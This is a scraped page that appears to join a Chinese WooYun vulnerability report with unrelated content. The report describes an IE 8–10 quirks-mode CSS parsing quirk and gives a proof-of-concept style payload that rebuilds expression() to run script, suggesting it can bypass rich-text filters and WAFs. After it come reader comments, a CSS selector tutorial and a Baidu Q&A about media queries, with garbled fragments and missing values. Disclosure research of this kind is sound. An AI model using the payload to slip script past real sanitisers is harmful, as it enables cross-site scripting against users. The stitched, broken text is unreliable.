分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向第三方安全合作伙伴开放（、、）
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 细节向公众公开
简要描述：
帮朋友研究如何绕过新浪的富文本过滤器的时候，顺带想写个小工具。
写个小工具的时候，顺带发现了一个意外。
发现了一个意外的时候，就发现了这个。
绝B是个很奇葩的漏洞！
详细说明：
本来是想写一个expression表达式的混淆工具。为了在expression里融入 /**/ 以及 \ 等东西，我手工测试时遇到了下面的问题：
code 区域font-family:exp/**/res\sion(alert(1))
&-- 无法正常执行
font-family:e\xp/**/ression(alert(1))
&-- 可以正常执行
这是一个很奇怪的结果，不知道以前有人遇到过没？
为什么 \ 在 /**/ 前面就可以执行，在 /**/后面就不执行了呢？为了研究搞清楚原因，我写了以下的代码来进行测试：
code 区域&div id=&a& style=&font-family:e\xp/**/ression(e(1))&&aa&/div&
&div id=&b& style=&font-family:exp/**/res\sion(e(1))&&aa&/div&
alert(document.getElementById(&a&).style.cssText);
alert(document.getElementById(&b&).style.cssText);
上面的代码的目的是取出IE解析之后的css内容，看看为什么会不执行了，结果比较意外：
code 区域font-family:e\xp/**/ression(e(1))
--& font-family:expression(e(1)) &-正常
font-family:exp/**/res\sion(e(1))
--& font-family:resression(e(1)) &-怪异
你会发现后者, /**/之前的内容被忽略， \之前的内容神奇的出现了2次。
虽然很神奇，但是这个特性并不能被利用。
但是，直觉告诉我，这个位置会有点什么！
前面翻译过一篇mXSS的文章，其中就有关于css里一些奇葩mutation，比如单引号，双引号什么的。
所以，接着我又改变了测试的代码如下：
code 区域&div id=&b& style=&font-family:exp/**/res'aaaa\sion(e(1))&&aa&/div&
alert(document.getElementById(&b&).style.cssText);
注意这个单引号（后经测试，实际上其它绝大多数符号都有一样的效果），这一次又神奇了，解析后的cssText内容如下：
code 区域font-family:aaaares'aaaasion(e(1))
也就是单引号之后，\之前的内容（即：aaaa）神奇的跑到res前面了！
这一次的这个特性，就感觉可以被利用了，构造以下内容
code 区域&div id=&b& style=&font-family:a/**/ression'exp\s(e(1))&&aa&/div&
解析后的cssText应是：
font-family:expression'exps(e(1))
可以看到，我们的原代码里没有expression这个词汇，解析后的css中出现了expression这个单词。
为了继续让expression可以被利用，我们可以继续构造：
code 区域&div id=&b& style=&font-family:a/**/ression(alert(1))('\')exp\')&&aa&/div&
解析后的cssText应是：
font-family:expression(alert(1))('\')exps') &--单引号正好
可以看到解析后的css中alert(1)将会被执行。
漏洞证明：
保存以下代码为test.htm, IE打开
code 区域&div id=&b& style=&font-family:a/**/ression(alert(1))('\')exp\')&&aa&/div&
alert(document.getElementById(&b&).style.cssText);
IE 8，9，10 quirks mode，局限性，对于设置了doctype的网页，将无法生效，可以结合一些让页面以quirks mode加载的技巧来实现一些利用。
对于一些富文本过滤器，或者WAF，可能存在绕过风险。由于代码利用中存在/**/ 和 \，这2个东西在CSS里本身就有点“臭”，经常是被过滤的对象（一个常见的过滤方式是css里存在/**/就直接把css置空）。可以考虑结合html实体转义来配合利用。
不论如何，还是很奇葩的，也许还可以利用这个特性干些其他的，也不一定~
修复方案：
很诚实的说：不知道。。
版权声明：转载请注明来源 @
厂商回应：
危害等级：中
漏洞Rank：10
确认时间： 08:14
厂商回复：
最新状态：
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
坐等IE CSS解析问题可致新的XSS Vectors-2
会载入史册么？
占座 卖广告
二哥你又来了。你一来就发大招……
靠，本来能抢前排的，电脑给特么死机了
@gainover 影响IE全版本么？
前排饮料、爆米花
安利产品了解一下？
小板凳 汽水
@mramydnei css里的，IE11肯定是不行咯。前面的版本，quirks文档模式触发
二哥又出来了
后排卖301果照
@gainover = =quirks 似乎留下不少坑呢。
@gainover 那个朋友现在排在第五吧？唉，头疼
占位 占位~
火钳刘明，我昨天还在想css能不能导致xss，今天出来了~Mark下 @基佬
前排占座饮料爆米花
二哥的洞期期必看
．．．．谢．．谢．．．．．谢．谢．．．．．
．．．．．谢．．谢．．．．谢．．谢．．．．
．．．．．．谢．．谢．．谢．谢．谢．．．．
．．．．．谢．．．．．．．．． 谢．．．．
．．．谢．．．．．．．．．．．．．谢．．．
．．谢．．．．．．．．．．．．．．．谢．．
．谢．．．．．．．．．．．．．．．．．谢．
谢．．．．．．．．．．．．．．．．．．．谢
谢．．．．．．．．．．．．．．．．．．．.谢
谢．．．．．∩．．．．．．．∩．．．．．.谢
谢． ．．．．．．．．．．．．．．．．．．谢
谢． ．．．◎．．．．U．．．．◎．．．．谢
．谢．．．．．．．．．．．．．．．．．谢．
．．谢谢．．．．．．．．．．．．．谢谢．．
．．．．谢．谢．谢．谢．谢．谢．谢．．．
．．．谢．．．．．．．．．．．．．谢．．．．
．．．谢．．．．．．．．．．．．．谢．．．．
．．．．谢．．．．．．．．．．．谢．．．．．
好吧 字符画乱掉了
@lxj616 楼上的 你400多R 为什么是实习白帽子
@乐乐、 孩子，你还小，等你长大就明白了
无影响厂商忽略（WooYun 评价 8rank）
你关注的白帽子 gainover 发表了漏洞 IE CSS解析问题可致新的XSS Vectors
@lxj616 孩子
你被潜规则了嘛
这下好玩了
微软中国会不会来认领？
@小火苗 你想多了
我一打开这个界面，电脑就黑了，二哥你果然是黑客
占个座卖水果
我一打开这个界面，电脑就黑了，二哥你果然是黑客
二哥，你果然是黑客
我一打开这个界面，电脑就黑了，二哥你果然是黑客
。。。被确认了？微软入驻乌云了？
膜拜大牛...
微软确认了？？
@px1624 @LaiX 已交由第三方厂商(cncert国家互联网应急中心)处理
本以为二哥是一个开始脱发，大腹便便的胖子，看到真人没想到那么帅
二哥厉害，ie骗我，说ie8以后就不支持expression
登录后才能发表评论，请先欢迎来到DIVCSS5查找CSS资料与学习DIV CSS布局技术！您的位置： >
什么是？简单地讲，问集是收集与回答的关于常见的问题及解答专题页。提供常见问题与对应问题回答解决方法教程。• (被访问 6108 次)• (被访问 4558 次)• (被访问 11354 次)• (被访问 9054 次)• (被访问 11752 次)• (被访问 13833 次)• (被访问 8628 次)• (被访问 14508 次)• (被访问 954 次)• (被访问 1153 次)• (被访问 2602 次)• (被访问 16080 次)• (被访问 5395 次)• (被访问 13600 次)• (被访问 1006 次)• (被访问 1550 次)• (被访问 37487 次)• (被访问 4064 次)• (被访问 7999 次)• (被访问 59985 次)• (被访问 16461 次)• (被访问 24985 次)• (被访问 3034 次)• (被访问 26495 次)• (被访问 1648 次)• (被访问 1635 次)• (被访问 1232 次)• (被访问 41152 次)• (被访问 11603 次)• (被访问 13214 次)首页
共 4页97条
我要分享到： 必备CSS教程 Essential CSS Tutorials• • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • ()• • ()• ()• • • • • • • • • • • • • • • • 必备HTML基础教程 Essential HTML Tutorials •
• () • () • () •
• () •
• () •
• 最新文章NEWS• • • • • • • • • • CSS EFFECTS热点文章HOT
学习与资源分享平台30个你不可不知的CSS选择器小结
作者：佚名
字体：[ ] 来源：互联网 时间：06-24 00:12:02
30个你不可不知的CSS选择器小结，推荐大家看下。
一、全浏览器支持的css选择器（由于很好理解，demo省略）1.* *通配符选择器，经常用于css reset，即样式重置，清理标签的默认样式，但现在一般不提倡直接使用*了，主要是*会匹配所有标签，相当耗资源。*在css的优先级中是最低的。 * { margin: 0; padding: 0; } 也可以用*来匹配某一元素下的所有子元素： #container * { border: 1 } 2.#X #+id名，这是日常常用的css选择器，用于匹配id为XXX的元素，id选择器的优势是精准，高优先级（优先级基数为100，远高于class的10），作为javascript脚本钩子的不二选择，同样缺点也很明显优先级过高，重用性差，所以在使用id选择器前，我们最好问下自己，真的到了非用id选择器的地步？ #container { width: 960 margin: } 3..X .+class名，标准的样式选择器，与id选择器的区别是样式选择器可以选择多个元素。样式选择器是提倡使用的选择器，我想也是日常前端人员用到最多的选择器了。 .error { color: } 4.X Y li a { text-decoration: } 目前非常常用的css选择器，用于选取X元素下子元素Y，这里有个要留意的点是，这种方式的选择器将选取其下所有匹配的子元素，无视层级，所以有的情况是不宜使用的，比如上述的代码去掉li下的所有a的下划线，但li里面还有个ul，我不希望ul下的li的a去掉下划线。 使用此子孙选择器的时候要考虑是否希望某样式对所有子孙元素都起作用。 这种子孙选择器还有个作用，就是创建类似命名空间的作用。比如上述代码样式的作用域明显为li。 5.X a { color: } ul { margin-left: 0; } 标签选择器，优先级仅仅比*高，常用于css reset。 二、除IE6外浏览器支持的css选择器 6.X:link X:visited X:hover X:active a:link { color: } a:visted { color: } 伪类选择器，visted已被访问过的样式，hover鼠标经过的样式，link未被访问的样式。三种伪类选择器常用于链接，但不是说只适用于链接，可惜的是IE6只支持将这三种伪类选择器作用于链接。 这里明河说明一点，由于CSS优先级的关系(后面比前面的优先级高)，这几个伪类的书写顺序，一般是link、visted、hover、active。 猛击这里进入这里查看demo 7.X + Y ul + p { color: } 相邻选择器，上述代码中就会匹配在ul后面的第一个p，将段落内的文字颜色设置为红色。(只匹配一个元素) 猛击这里进入这里查看demo 8.X & Y 子选择器，留意X & Y与X Y的区别，后者是子孙选择器，即无视层级，而X & Y是字选择器，只匹配X下的子元素Y。 从理论上来讲X & Y是值得提倡选择器，可惜IE6不支持。 猛击这里进入这里查看demo 9.X ~ Y ul ~ p { color: } 相邻选择器，与X+Y类似，不同的是X ~ Y匹配的是元素集合，比如上述代码，匹配的是所有ul相邻的p 猛击这里进入这里查看demo 10.X[title] a[title] { color: } 属性选择器，比如上述代码匹配的是带有title属性的链接元素。 猛击这里进入这里查看demo 11.X[title=&&] a[title=&明河共影&]{ color:#096; } 属性选择器，上述代码不只匹配带有title属性，更匹配title属性等于明河共影的链接元素。[]内不只可用title属性，还可以使用其他属性。 猛击这里进入这里查看demo 12.X[title*=&&] a[title*=&明&]{ color:#096; } 加了*号，意味着是模糊匹配，比如上述代码，会匹配title属性为明或明河或明河共影等带有明字的链接属性。 猛击这里进入这里查看demo 13.X[title^=&&] a[title^=&明&]{ color:#096; } 模糊匹配,与*的作用相反，^起到排除的作用，比如上述代码，会匹配title属性不带有明字的链接属性。 猛击这里进入这里查看demo 14.X[href$=&&] a[href$=&.png&] { color: } 在属性选择器中多一个$符号，用于匹配结尾为特定字符串的元素，比如上述代码匹配的就是href属性值的结尾为.png的链接。 猛击这里进入这里查看demo 15.X[data-*=&&] a[data-filetype=&image&] { color: } data-filetype这个属性目前用的实在不多，但有些场合非常好用。比如我要匹配所有的数据类型为图片的链接，如果使用X[href$=&&]的方式如下： a[href$=&.jpg&], a[href$=&.jpeg&], a[href$=&.png&], a[href$=&.gif&] { color: } 而使用data-filetype，只要： a[data-filetype=&image&] { color: } 当然前提是你给每一个链接加上data-filetype属性。 猛击这里进入这里查看demo 16.X[foo~=&&] a[data-info~=&external&] { color: } a[data-info~=&image&] { border: 1 } 这也是非常少用的选择器，加上~号，有一种情况特别适用，比如你有个data-filetype=&external image&属性，这时候我希望分别针对external和image样式控制。 a[data-info~=&external&] { color: } a[data-info~=&image&] { border: 1 } 上述代码会匹配data-filetype=&external&、data-filetype=&image&、data-filetype=&external image&的a。 猛击这里进入这里查看demo 17.X:checked input[type=radio]:checked { border: 1 } 这个伪类选择器只用于匹配带有checked属性的元素，比如radio、checkbox即单选框和多选框。 猛击这里进入这里查看demo 留意demo中是选中单选框后改变样式。 目前这个伪类选择器，IE9下都不支持，非IE浏览器基本上都支持。 三、除IE8以下外的浏览器支持的css选择器18.X:after .clearfix:after { content: &&; display: clear: visibility: font-size: 0; height: 0; } .clearfix { *display: inline- _height: 1%; } 我想上面这段代码，很多朋友都非常熟悉，是清理浮动时常用的hack方法。:after伪类与content结合使用，用于往元素类追加内容。:after伪类还有个妙用：用于产生阴影，点击这里查看。 19.X:hover div:hover { background: #e3e3e3; } hover在前面已经介绍过，IE6下只支持a的hover。 在原文教程中提到一个东西很有意思，即使用border-bottom: 1 要好于text-decoration:，不妨看下下面明河制作的demo。 猛击这里进入这里查看demo 从实际的效果来看，使用border-bottom的距离比text-decoration来的合理，但使用border-bottom存在一些风险，比如颜色问题。 20.X:not(selector) div:not(#container) { color: } 否定伪类选择器，这还是比较好理解的，上述将会把非id为container的div的字体颜色设置为蓝色。 :not伪类IE8并不支持，IE9已经支持了。 21.X::pseudoElement p::first-line { font-weight: font-size: 1.2 } ::伪类，用于给元素的片段添加样式，这如何理解呢？比如你要让一个段落的第一行的文字加粗，那么这个选择器是不二之选。 猛击这里进入这里查看demo 除此之外，你还可以给第一个字加上特殊样式，这个应用还是非常常见的 p::first-letter { float: font-size: 2 font-weight: font-family: padding-right: 2 } IE6居然支持！这足以让人惊喜的&.. 四、css3 结构性伪类选择器22.X:nth-child(n) li:nth-child(3) { color: } 接下来的几个伪类选择器使用上非常类似，功能也比较接近。 :nth-child(n)，用于匹配索引值为n的子元素。索引值从1开始。 猛击这里进入这里查看demo X:nth-child()用法实际上有三种变化，demo的用法是最简单的，X:nth-child()更强大的用处在于奇偶匹配，明河不展开讲，有兴趣的请看《Understanding :nth-child Pseudo-class Expressions》,《CSS3 :nth-child()伪类选择器》 23.X:nth-last-child(n) li:nth-last-child(2) { color: } :nth-child(n)，是从第一个开始算索引，而X:nth-last-child(n)是从最后一个开始算索引。 猛击这里进入这里查看demo 24.X:nth-of-type(n) ul:nth-of-type(3) { border: 1 } nth-of-type与nth-child的效果是惊人的相似，想要更多的了解nth-of-type请看《Alternative for :nth-of-type() and :nth-child()》，:nth-of-type(N) 猛击这里进入这里查看demo 25.X:nth-last-of-type(n) ul:nth-last-of-type(3) { border: 1 } :nth-last-child效果相似。 26.X:first-child ul li:first-child { border-top: } 匹配子集的第一个元素。IE7就可以支持了，这个伪类还是非常有用的。 猛击这里进入这里查看demo 27.X:last-child ul & li:last-child { color: } 与:first-child效果相反 猛击这里进入这里查看demo 留意IE8支持:first-child,但不支持:last-child。 28.X:only-child div p:only-child { color: } 这个伪类一般用的比较少，比如上述代码匹配的是div下的有且仅有一个的p，也就是说，如果div内有多个p，将不匹配。 猛击这里进入这里查看demo 29.X:only-of-type li:only-of-type { font-weight: } 与:only-child类似。 30.X:first-of-type ul:first-of-type{ font-weight: } 等价于:nth-of-type(1)，匹配集合元素中的第一个元素。 五、明河结语 明河翻译这边文章费了不下6个时间，花了很多的心血下去，自己的确受益匪浅，希望这边文章对各位有些用处，如果你有任何疑问，都可以给明河留言。打包下载地址：
大家感兴趣的内容
12345678910
最近更新的内容Normalize.css ——CSS Reset的友好替代品 | DeveWork
当前位置： &
打破沉默，我来发表评论鸟~《急~》根据屏幕的的宽度调用不同css文件,刷新主页时总是会先加载出默认样式,闪一下后才出现设定样式_百度知道
《急~》根据屏幕的的宽度调用不同css文件,刷新主页时总是会先加载出默认样式,闪一下后才出现设定样式
总是会闪一下/zhidao/pic/item/10dfa9ec8a1363274dff0e1d928fa0ec08fac78a，刷新页面时.css和public.css和public_small也就是屏幕分辨率大于1280时.hiphotos.jpg" esrc="http.css当我把屏幕分辨率设置低于1280.baidu，调用index_small.css小于1280时.com/zhidao/wh%3D450%2C600/sign=76ad4ba9d3a20cf446c5f6dbdfa9ec8a1363274dff0e1d928fa0ec08fac78a.css的样式请问这个怎么解决
不考虑IE你能用@media screen and (){}你去了解下吧index_small.css写到public兼容有要求吗.css的@media中，把public_small.css的@media中.css写到index
商城，CSS已写好，如果用@media不合适，而且修改起来工作量太大了。
你不是已经写好了吗？直接考进去不就行了（也就是全部写一次），不知道到时候css会不会太大
其他类似问题
为您推荐：
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁